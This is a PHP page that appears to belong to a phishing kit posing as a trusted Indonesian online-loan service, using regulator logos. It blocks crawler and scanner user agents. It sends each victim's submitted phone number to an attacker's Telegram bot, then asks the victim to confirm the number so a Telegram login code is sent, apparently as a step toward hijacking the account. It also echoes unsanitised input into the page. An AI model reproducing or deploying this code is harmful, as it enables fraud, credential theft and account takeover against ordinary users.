<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) || preg_match('/Java1.1.4/si',$ua) || preg_match('/MS FrontPage Express/si',$ua) || preg_match('/HTTrack/si',$ua) || preg_match('/IDentity/si',$ua) || preg_match('/HyperBrowser/si',$ua) || preg_match('/Lynx/si',$ua)) 
{
header('Location: oops.php');
die();
}

// system function to process bot
function sendMessage($idTelegram, $messageBot, $tokenBot) {

    $url = "https://api.telegram.org/bot" . $tokenBot . "/sendMessage?parse_mode=html&chat_id=" . $idTelegram;
    $url = $url . "&text=" . urlencode($messageBot);
    $ch = curl_init();
    $optArray = array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

// get the bot data that you have set
include 'botSetting.php';

// get the data entered by the user
$phoneNumber = $_POST['phoneNumber'];

// system will redirect to the main page if no data is entered
if($phoneNumber == "") {
header("Location: index.php");
} else {

// message content to sent to bot
$messageBot = "
✦ <b>Account Information</b> ✦

⮞ Phone number: <code>+62 $phoneNumber</code>
";
}

// sent all data to bot
sendMessage($idTelegram, $messageBot, $tokenBot);
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"> 
  <title>PINJAMAN ONLINE TERPERCAYA</title> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 
  <link rel="stylesheet" href="file/css/animate.min.css"> 
  <link rel="stylesheet" href="file/css/intlTelInput.css"> 
 </head> 
 <body> 
  <nav class="navbar navbar-expand-md" style="background: #ffffff;"> 
   <div class="container-fluid">
    <a class="navbar-brand" href="#">
    <img src="images/ojk.png" width="80" height="30">
    <img src="images/afpi.png" width="90" height="30">
    </a>
    <button class="navbar-toggler" data-bs-toggle="collapse" style="background: rgb(249 199 28);">
    <span class="visually-hidden">Toggle navigation</span>
    <span class="navbar-toggler-icon">
    </span>
    </button>
   </div> 
  </nav> 
  <section style="padding-bottom: 19px;"> 
   <div class="container" style="margin-top: 30px;"> 
    <div style="border-radius: 10px;border: 1px solid rgb(247,163,236);background: #ffffff;box-shadow: 0px 0px 20px 2px;padding-left: 17px;padding-bottom: 0px;padding-right: 17px;padding-top: 10px;"> 
     <p style="text-align: justify;">
     <em>Kami perlu memverifikasi nomor telepon Anda. Kami akan membuatkan kode untuk Anda secara otomatis dengan memilih kirim kode melalui Telegram.</em>
     </p> 
    </div> 
   </div> 
  </section> 
  <div class="container"> 
   <form method="post" action="code.php"> 
    <section class="text-center" style="padding-left: 26px;padding-right: 29px;background: #ffffff;border-width: 1px;border-radius: 10px;padding-bottom: 11px;margin-top: 17px;box-shadow: 0px 0px 20px 2px;padding-top: 15px;"> 
    	
     <h1 style="font-size: 17.4px;">Apakah ini nomor teleponmu?</h1> 
     <div class="form-control" type="text" data-bss-hover-animate="bounce" name="myInput" style="text-align: center;font-weight: bold;font-size: 18px;background: rgb(184, 189, 188);padding-left: 37px;padding-right: 37px;margin-left: 5px;margin-right: 5px;" readonly="" disabled="" id="myInput">
+62 <?php echo $phoneNumber;?>    </div> 
     <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;">
     	<input type="hidden" name="phoneNumber" id="phone" value="<?php echo $phoneNumber;?>" readonly="">
      <input class="btn btn-primary" type="submit" value="Konfirmasi" style="width: 211.225px;background: rgb(102, 101, 101);font-weight: bold;">
      <a class="btn btn-primary" role="button" href="/" style="background: rgb(75, 77, 80);margin-top: 10px;">
       <svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill="currentColor" viewBox="0 0 16 16" class="bi bi-reply-fill"> 
        <path d="M5.921 11.9 1.353 8.62a.719.719 0 0 1 0-1.238L5.921 4.1A.716.716 0 0 1 7 4.719V6c1.5 0 6 0 7 8-2.5-4.5-7-4-7-4v1.281c0 .56-.606.898-1.079.62z">
        </path> 
       </svg>Saya perlu mengubahnya</a>
     </section> 
    </section> 
   </form> 
  </div> 
  <nav class="navbar navbar-expand-md fixed-bottom bg-body"> 
   <div class="container-fluid">
    <img class="img-fluid" src="https://hosting.tigerengine.id/hir34m.jpg">
   </div> 
  </nav> 
  <script type="99035e0e7519c09a126ac0b8-text/javascript">
    </script> 
 <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="99035e0e7519c09a126ac0b8-|49" defer></script></body>
</html>